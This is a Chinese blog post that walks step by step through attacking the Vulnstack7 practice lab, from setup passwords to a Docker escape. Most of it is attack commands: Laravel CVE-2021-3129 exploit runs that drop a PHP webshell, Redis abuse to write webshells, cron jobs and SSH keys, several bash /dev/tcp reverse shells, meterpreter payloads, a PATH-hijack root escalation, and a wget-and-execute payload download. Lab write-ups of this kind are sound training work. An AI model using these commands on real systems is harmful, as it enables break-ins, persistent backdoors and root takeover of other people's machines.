Vulnstack7全过程记录( END)

发布于 2022-01-20  86 次阅读


靶场搭建

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

kali选择桥接

1.ubuntu web1

登录密码web2021

启动Nginx和Redis服务:

sudo su

redis-server /etc/redis.conf

/usr/sbin/nginx -c /etc/nginx/nginx.conf

(可能已经启动了)

可以用ps -ef|grep nginx检查一下是否开启

iptables -F

(无回显)

2.ubuntu web2

登录密码ubuntu

sudo service docker start

(可能已经启动)

sudo docker start 8e172820ac78

3.win7 PC1

域用户bunny密码Bunny2021

切换用域管登录WHOAMIANONY\Administrator

PASSWORD:Whoami2021


DAY 2

kali扫描域内存活主机

nmap -T4 -A 192.168.31.176/24

nmap -T4 -A 192.168.31.161 -p 1-65535

开放端口比较少。直接去看81端口。

有个明显的Laravel v8.29.0(PHP v7.4.14),网上找下洞。

尝试一下CVE-2021-3129

Vulnerability/Laravel <= V8.4.2 Debug模式远程代码执行漏洞(CVE-2021-3129).md at main · EdgeSecurityTeam/Vulnerability · GitHub

Laravel Debug mode RCE(CVE-2021-3129)漏洞复现 | WHOAMI's Blog (whoamianony.top)

具体原理和手动复现如上链接,这里找一下现成的exp跑一下

git clone <https://github.com/crisprss/Laravel_CVE-2021-3129_EXP.git>

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP.git

试了挺多,自己也手动跑了一下,反正这个没有回显,都是500状态码

尝试一下redis未授权访问

redis-cli -h 192.168.31.161

kali第一次使用时,根据提示安装一堆东西就好了。

如图,访问成功。

redis未授权的常见利用手段:

  1. 向Web目录中写webshell的方式进行getshell
config  set dir /var/www/html  #一般linux下就是这web目录
config set dbfilename su.php
set 1 “<?php @eval($_POST[’matoujin’]);?>”
Save

但是蚁剑连不上,猜测是路径不对。

  1. 写corntab的方式进行getshell
config set dir /var/spool/cron/crontabs #设置文件夹的路径
config set dbfilename su #修改备份文件的名称
set -.- "\\n\\n\\n0 * * * * bash -i >& /dev/tcp/198.168.246.130/9999 0>&1\\n\\n\\n" #设置定时计划任务
save #保存
  1. 写SSH key的方式进行getshell

ssh-keygen -t rsa 一路回车

(echo -e "\\n\\n"; cat /root/.ssh/id_rsa.pub; echo -e "\\n\\n") > foo.txt

cat foo.txt | redis-cli -h 192.168.31.161 -p 6379 -x set hello #把foo.txt文件内容写入目标主机的redis缓冲中

redis>

config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/

config set dbfilename authorized_keys # 设置保存文件名为authorized_keys

save # 将数据保存在目标服务器硬盘上

ssh 192.168.31.161 # 连接

可以看到连接成功


DAY 3

做一个简单的信息收集

ifconfig

inet 192.168.31.161 netmask 255.255.255.0

inet 192.168.52.10 netmask 255.255.255.0

uname -a

Linux ubuntu 5.4.0-66-generic #74~18.04.2-Ubuntu SMP Fri Feb 5 11:17:31 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

检查配置文件(是否代理)

cd /etc/nginx/conf.d

cat /etc/nginx/conf.d/80.conf

cat /etc/nginx/conf.d/81.conf

这里可以看到做了反向代理

msf上线

使用web_delivery模块

use exploit/multi/script/web_delivery

添加路由

route add 192.168.52.0 255.255.255.0 1

52网段信息收集

存活扫描

use auxiliary/scanner/discovery/udp_probe

set RHOSTS 192.168.52.1-254

端口扫描

30主机meterpreter > run auxiliary/scanner/portscan/tcp rhost=192.168.52.30 rport=1-65535

重试CVE-2021-3129

python3 laravel-CVE-2021-3129-EXP.py http://192.168.31.161:81

还真就跑出来了

但是蚁剑连不上,换成git clone <https://github.com/crisprss/Laravel_CVE-2021-3129_EXP.git> 改一下ip就可以了

python3 Laravel_CVE-2021-3129_EXP.py "system('uname -a');”

"system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

把命令改一下,whoami密码,”c语言“,终于连上了。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.176 LPORT=3333 -f elf > mshell.elf

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

上马成功

DAY 4

进行简单的信息收集

ifconfig

Name : eth0 Hardware MAC : 02:42:ac:11:00:02 MTU : 1500 Flags : UP,BROADCAST,MULTICAST IPv4 Address : 172.17.0.2 IPv4 Netmask : 255.255.0.0

uname -a

Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 GNU/Linux

检查docker环境

ls -alh /.dockerenv

看来是docker环境了,下面就是docker逃逸。

逃逸

SUID提权+环境变量提权

这里看了一下wp

简谈SUID提权 - FreeBuf网络安全行业门户

现在已知的具有SUID权限的二进制可执行文件

nmap vim find bash more less nano cp awk

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;

在其余都没有可利用的情况下/home/jobs/shell似乎是一个可疑点。

在Linux中使用环境变量进行提权 - FreeBuf网络安全行业门户 如其中方法一所示,./shell 执行了ps命令

那么将其ps命令目录修改为攻击者指定目录下的ps命令,就可以获得root权限,套用其命令

cd /tmp
echo "/bin/sh" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
echo $PATH //要多出来一个tmp
cd /home/jobs/
./shell

>whoami
ROOT

bash -c 'exec bash -i &>/dev/tcp/192.168.31.176/1239 <&1'

bash -c 'exec bash -i &>/dev/tcp/192.168.31.176/1238 <&1'

反弹shell到kali上

特权模式逃逸

要获取root后才行

cat /proc/self/status | grep CapEff

写入计划任务

echo '* * * * * bash -i >& /dev/tcp/192.168.31.176/1238 0>&1' >> /hello/var/spool/cron/root

但是看众人说ubuntu的计划任务反弹shell无法直接利用,下面我先将使用非计划任务思路进行登录,再记录ubuntu计划任务思路

利用特权模式进行写入密钥

(将shell反弹到52.10似乎更符合内网思路bash -i >& /dev/tcp/192.168.52.10/1233 0>&1

在挂载目录的root目录和home目录下找到用户名,这里可以找到ubuntu用户名

随后的思路就是将52.10上用户的ssh密钥写入到/hello/home/ubuntu/.ssh目录中的authorized_keys文件

  1. 先在52.10生成密钥ssh-keygen -f hello
  2. chmod 600 hello
  3. cat hello.pub
  4. docker容器内(记得提权成root) cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys #-avx是将权限也一起复制 echo > /hello/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件 echo 'ssh-rsa A...UdsFbSyd root@ubuntu' > /hello/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件 cat /hello/home/ubuntu/.ssh/authorized_keys #查看是否写入成功
  5. 52.10登录ssh -i hello ubuntu@192.168.52.20 就可以获取到宿主shell

通过定时任务

最简便的方法

echo "* * * * * root echo 'bash -i >& /dev/tcp/192.168.52.10/4006 0>&1' | bash" >> /hello/etc/crontab

还有一种就是通过更改dash与crontab路径(35条消息) ubuntu计划任务反弹shell_秋水的博客-CSDN博客_ubuntu 反弹shell

为了方便,给上面的shell跑一个msf马

wget -qO PXaadBBY --no-check-certificate <http://192.168.31.176:8080/ICaV7oa5fxW>; chmod +x PXaadBBY; ./PXaadBBY& disown

这台主机上还存在CVE-2021-3493

信息收集

添加路由route add 192.168.93.0 255.255.255.0 6

信息收集

93网段扫描

msf6 auxiliary(scanner/discovery/udp_sweep) > use auxiliary/scanner/discovery/udp_probe
msf6 auxiliary(scanner/discovery/udp_probe) > set RHOSTS 192.168.52.1-254
RHOSTS => 192.168.52.1-254

52网段扫描

msf6 exploit(multi/script/web_delivery) > use auxiliary/scanner/discovery/udp_sweep
msf6 auxiliary(scanner/discovery/udp_sweep) > set THREADS 5
THREADS => 5
msf6 auxiliary(scanner/discovery/udp_sweep) > set RHOSTS 192.168.93.1-254
RHOSTS => 192.168.93.1-254

后面就是简单的图片上传马和mimikatz了,暂告一段落


间桐桜のお菓子屋さん